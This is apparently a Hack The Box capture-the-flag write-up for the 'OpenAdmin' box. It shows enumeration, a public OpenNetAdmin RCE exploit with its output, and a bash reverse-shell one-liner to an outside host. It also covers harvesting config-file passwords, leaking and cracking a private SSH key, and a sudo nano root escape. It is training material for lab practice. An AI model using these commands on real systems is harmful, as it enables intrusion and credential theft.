OpenAdmin Writeup
02 March 2023 #CTF #HTB #box #easy #linuxEnumeration
nmap
is like a third eye:
$ sudo nmap -n -Pn -sCV -oN enum/initial.nmap 10.10.10.171
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b98df85d17ef03dda48cdbc9200b754 (RSA)
| 256 dceb3dc944d118b122b4cfdebd6c7a54 (ECDSA)
|_ 256 dcadca3c11315b6fe6a489347c9be550 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
Going to http://10.10.10.171
we get the default apache install page:
Let's get some directory bruteforcing going since we don't really have much else to do:
$ gobuster dir -u http://10.10.10.171 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[...]
/music (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
/artwork (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/sierra (Status: 301) [Size: 313] [--> http://10.10.10.171/sierra/]
[...]
These 3 directories stick out among the 403 errors. Let's check /artwork
:
Looks like a static site full of lorem ipsum with no user input.
Same goes for /sierra
.
/music
is similar but there is a login button in the nav bar:
If we click on it we are redirected to this page:
Foothold
The title of the page is 'OpenNetAdmin' and a quick google search informs us this is a network management application.
The other interesting thing is that it is telling that we are out of date (and the current version is 18.1.1).
After looking up this version, we find an exploitdb entry for this exact version, along with an exploit script that should get us code execution:
$ ./ona-rce.py exploit http://10.10.10.171/ona
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We can get an actual reverse shell with this command:
bash -c 'bash -i >& /dev/tcp/10.10.14.8/443 0>&1'
.
Privesc
www-data to jimmy
The first thing to do is looking for creds inside this web directory. Passwords are usually found in config files so let's see if there are any:
www-data@openadmin:/opt/ona/www$ find . -type f | grep -i conf
./config/auth_ldap.config.php
./config/config.inc.php
./local/config/motd.txt.example
./local/config/run_installer
./local/config/database_settings.inc.php
./winc/list_configs.inc.php
./winc/app_config_type_edit.inc.php
./winc/app_config_type_list.inc.php
./winc/app_sysconf_edit.inc.php
./winc/display_config_text.inc.php
./winc/app_sysconf_list.inc.php
./workspace_plugins/builtin/config_archives/main.inc.php
./workspace_plugins/builtin/host_actions/config.inc.php
./config_dnld.php
./modules/ona/configuration.inc.php
Indeed, there are a bunch of config files. Now let's see if we can find a password in one of them:
www-data@openadmin:/opt/ona/www$ find . -type f | grep -i conf | xargs grep -i pass
[...]
./local/config/database_settings.inc.php: 'db_passwd' => 'n1nj4W4rri0R!',
[...]
Nice, we found the mysql password. We can access the database but there is nothing really interesting.
Instead we can check if the password is reused for a user account. First let's enumerate the user accounts on this box:
www-data@openadmin:/opt/ona/www$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
We can try all of them but jimmy is the one we can log in with:
ssh jimmy@10.10.10.171
[...]
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
jimmy to joanna
As we saw the in the id
output, jimmy is a member of the 'internal' group.
jimmy@openadmin:~$ find / -group internal -ls 2> /dev/null
286763 4 drwxrwx--- 2 jimmy internal 4096 Mar 2 22:35 /var/www/internal
282830 4 -rwxrwxr-x 1 jimmy internal 339 Nov 23 2019 /var/www/internal/main.php
2644 4 -rwxrwxr-x 1 jimmy internal 185 Nov 23 2019 /var/www/internal/logout.php
282910 4 -rwxrwxr-x 1 jimmy internal 3318 Mar 2 22:03 /var/www/internal/index.php
We have read/write access to the /var/www/internal
directory, and all of its files.
To understand how this virtual host is configured, we can take a look at the apache config:
jimmy@openadmin:/etc/apache2/sites-enabled$ ls
internal.conf openadmin.conf
jimmy@openadmin:/etc/apache2/sites-enabled$ cat internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
This vhost only listens on localhost, on port 52846. Furthermore, the apache process will be running as the joanna user.
Looking at the php files, index.php
acts as a login page:
[...]
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
[...]
main.php
just prints joanna's private SSH key (if we succesfuly logged in):
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Since we have write permissions on all of these files, we can remove the first line of main.php
(don't remove the <?php
) to be able to view joanna's private SSH key without logging in (one of many ways).
Next we need to forward a local port in order to access the internal app. We can do it easily with ssh:
$ ssh -L 8001:127.0.0.1:52846 jimmy@10.10.10.171
[...]
This will open port 8001 on our attack box and forward our requests to the remote box on port 52846 (on the loopback interface).
This key is password protected (jimmy's password didn't work). We'll use ssh2john
to generate a hash we will try to crack with john
:
$ ssh2john joanna.key > joanna.key.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt joanna.key.hash
[...]
bloodninjas (joanna.key)
[...]
We can now use joanna's key to ssh in.
joanna to root
Once logged in as joanna, we can check if we can run sudo
:
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Yep, we can run nano /opt/priv
as root without password. There is an entry for nano in GTFOBins. All we need to do is press Ctrl-r + Ctrl-x and type reset; sh 1>&0 2>&0
.
Once done, type reset
again and we should have an interactive shell as root:
# id
uid=0(root) gid=0(root) groups=0(root)
Key Takeaways
- After foothold, harvest web directories for creds
- Look up GTFO bins to exploit known programs running as root